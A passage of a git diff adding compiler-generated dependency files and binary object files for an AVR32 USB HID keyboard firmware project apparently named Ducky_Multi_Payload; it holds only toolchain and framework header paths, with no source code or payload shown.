5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/ieeefp.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/reent.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/_types.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_types.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_default_types.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/lock.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/stdlib.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/alloca.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stdbool.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdint.h \ + ../src/asf/common/utils/interrupt.h ../src/asf/avr32/utils/parts.h \ + ../src/asf/common/utils/interrupt/interrupt_avr32.h \ + ../src/asf/avr32/utils/preprocessor/tpaste.h \ + ../src/asf/avr32/drivers/intc/intc.h ../src/main.h \ + ../src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_conf.h \ + ../src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.h \ + ../src/asf/common/services/usb/usb_protocol.h \ + ../src/asf/common/services/usb/usb_atmel.h \ + ../src/asf/common/services/usb/class/hid/usb_protocol_hid.h \ + ../src/asf/common/services/usb/udc/udc_desc.h \ + ../src/asf/common/services/usb/udc/udi.h \ + ../src/asf/common/services/usb/udc/udi.h \ + ../src/asf/common/services/usb/udc/udd.h \ + ../src/asf/common/services/usb/udc/udc_desc.h \ + ../src/asf/common/services/usb/udc/udc.h \ + ../src/asf/common/services/usb/udc/udd.h \ + ../src/asf/common/services/usb/class/hid/device/udi_hid.h + +../src/config/conf_usb.h: + +../src/asf/avr32/utils/compiler.h: + +../src/asf/avr32/utils/preprocessor/preprocessor.h: + +../src/asf/avr32/utils/preprocessor/tpaste.h: + +../src/asf/avr32/utils/preprocessor/stringz.h: + +../src/asf/avr32/utils/preprocessor/mrepeat.h: + +../src/asf/avr32/utils/preprocessor/preprocessor.h: + +../src/asf/avr32/utils/parts.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/io.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/uc3b0256.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/core_sc0_130.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/abi.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ocd_s0_130.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/intc_101.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/adc_200.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/eic_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/flashc_200.h: + +c:\program\ files\ (x86)\atmel\avr\ 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(x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/rtc_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/spi_199.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ssc_310.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/tc_222.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/twi_211.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usart_400.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usbb_310.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/wdt_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stddef.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/newlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/config.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/ieeefp.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/reent.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_default_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/lock.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/stdlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/alloca.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stdbool.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdint.h: + +../src/asf/common/utils/interrupt.h: + +../src/asf/avr32/utils/parts.h: + +../src/asf/common/utils/interrupt/interrupt_avr32.h: + +../src/asf/avr32/utils/preprocessor/tpaste.h: + +../src/asf/avr32/drivers/intc/intc.h: + +../src/main.h: + +../src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_conf.h: + +../src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.h: + +../src/asf/common/services/usb/usb_protocol.h: + +../src/asf/common/services/usb/usb_atmel.h: + +../src/asf/common/services/usb/class/hid/usb_protocol_hid.h: + +../src/asf/common/services/usb/udc/udc_desc.h: + +../src/asf/common/services/usb/udc/udi.h: + +../src/asf/common/services/usb/udc/udi.h: + +../src/asf/common/services/usb/udc/udd.h: + +../src/asf/common/services/usb/udc/udc_desc.h: + +../src/asf/common/services/usb/udc/udc.h: + +../src/asf/common/services/usb/udc/udd.h: + +../src/asf/common/services/usb/class/hid/device/udi_hid.h: diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/common/services/usb/class/hid/device/udi_hid.o b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/common/services/usb/class/hid/device/udi_hid.o new file mode 100644 index 0000000..da3bcf1 Binary files /dev/null and b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/common/services/usb/class/hid/device/udi_hid.o differ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/common/services/usb/udc/udc.d b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/common/services/usb/udc/udc.d new file mode 100644 index 0000000..90c6334 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/common/services/usb/udc/udc.d @@ -0,0 +1,192 @@ +src/asf/common/services/usb/udc/udc.d \ + src/asf/common/services/usb/udc/udc.o: \ + ../src/asf/common/services/usb/udc/udc.c ../src/config/conf_usb.h \ + ../src/asf/avr32/utils/compiler.h \ + ../src/asf/avr32/utils/preprocessor/preprocessor.h \ + ../src/asf/avr32/utils/preprocessor/tpaste.h \ + ../src/asf/avr32/utils/preprocessor/stringz.h \ + ../src/asf/avr32/utils/preprocessor/mrepeat.h \ + ../src/asf/avr32/utils/preprocessor/preprocessor.h \ + ../src/asf/avr32/utils/parts.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/io.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/uc3b0256.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/core_sc0_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/abi.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ocd_s0_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/intc_101.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/adc_200.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/eic_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/flashc_200.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/freqm_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/gpio_110.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/hmatrix_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pdca_102.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pm_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pwm_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/rtc_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/spi_199.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ssc_310.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/tc_222.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/twi_211.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usart_400.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usbb_310.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/wdt_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stddef.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdlib.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/newlib.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/config.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/ieeefp.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/reent.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/_types.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_types.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_default_types.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/lock.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/stdlib.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/alloca.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stdbool.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdint.h \ + ../src/asf/common/utils/interrupt.h ../src/asf/avr32/utils/parts.h \ + ../src/asf/common/utils/interrupt/interrupt_avr32.h \ + ../src/asf/avr32/utils/preprocessor/tpaste.h \ + ../src/asf/avr32/drivers/intc/intc.h ../src/main.h \ + ../src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_conf.h \ + ../src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.h \ + ../src/asf/common/services/usb/usb_protocol.h \ + ../src/asf/common/services/usb/usb_atmel.h \ + ../src/asf/common/services/usb/class/hid/usb_protocol_hid.h \ + ../src/asf/common/services/usb/udc/udc_desc.h \ + ../src/asf/common/services/usb/udc/udi.h \ + ../src/asf/common/services/usb/udc/udi.h \ + ../src/asf/common/services/usb/udc/udd.h \ + ../src/asf/common/services/usb/udc/udc_desc.h \ + ../src/asf/common/services/usb/udc/udc.h + +../src/config/conf_usb.h: + +../src/asf/avr32/utils/compiler.h: + +../src/asf/avr32/utils/preprocessor/preprocessor.h: + +../src/asf/avr32/utils/preprocessor/tpaste.h: + +../src/asf/avr32/utils/preprocessor/stringz.h: + +../src/asf/avr32/utils/preprocessor/mrepeat.h: + +../src/asf/avr32/utils/preprocessor/preprocessor.h: + +../src/asf/avr32/utils/parts.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 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(x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pdca_102.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pm_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pwm_130.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/rtc_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/spi_199.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ssc_310.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/tc_222.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/twi_211.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usart_400.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usbb_310.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/wdt_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stddef.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/newlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/config.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/ieeefp.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/reent.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_default_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/lock.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/stdlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/alloca.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stdbool.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdint.h: + +../src/asf/common/utils/interrupt.h: + +../src/asf/avr32/utils/parts.h: + +../src/asf/common/utils/interrupt/interrupt_avr32.h: + +../src/asf/avr32/utils/preprocessor/tpaste.h: + +../src/asf/avr32/drivers/intc/intc.h: + +../src/main.h: + +../src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_conf.h: + +../src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.h: + +../src/asf/common/services/usb/usb_protocol.h: + +../src/asf/common/services/usb/usb_atmel.h: + +../src/asf/common/services/usb/class/hid/usb_protocol_hid.h: + +../src/asf/common/services/usb/udc/udc_desc.h: + +../src/asf/common/services/usb/udc/udi.h: + +../src/asf/common/services/usb/udc/udi.h: + +../src/asf/common/services/usb/udc/udd.h: + +../src/asf/common/services/usb/udc/udc_desc.h: + +../src/asf/common/services/usb/udc/udc.h: diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/common/services/usb/udc/udc.o b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/common/services/usb/udc/udc.o new file mode 100644 index 0000000..4dfcfa9 Binary files /dev/null and b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/common/services/usb/udc/udc.o differ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/main.d b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/main.d new file mode 100644 index 0000000..eb46452 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/main.d @@ -0,0 +1,300 @@ +src/main.d src/main.o: ../src/main.c \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/string.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 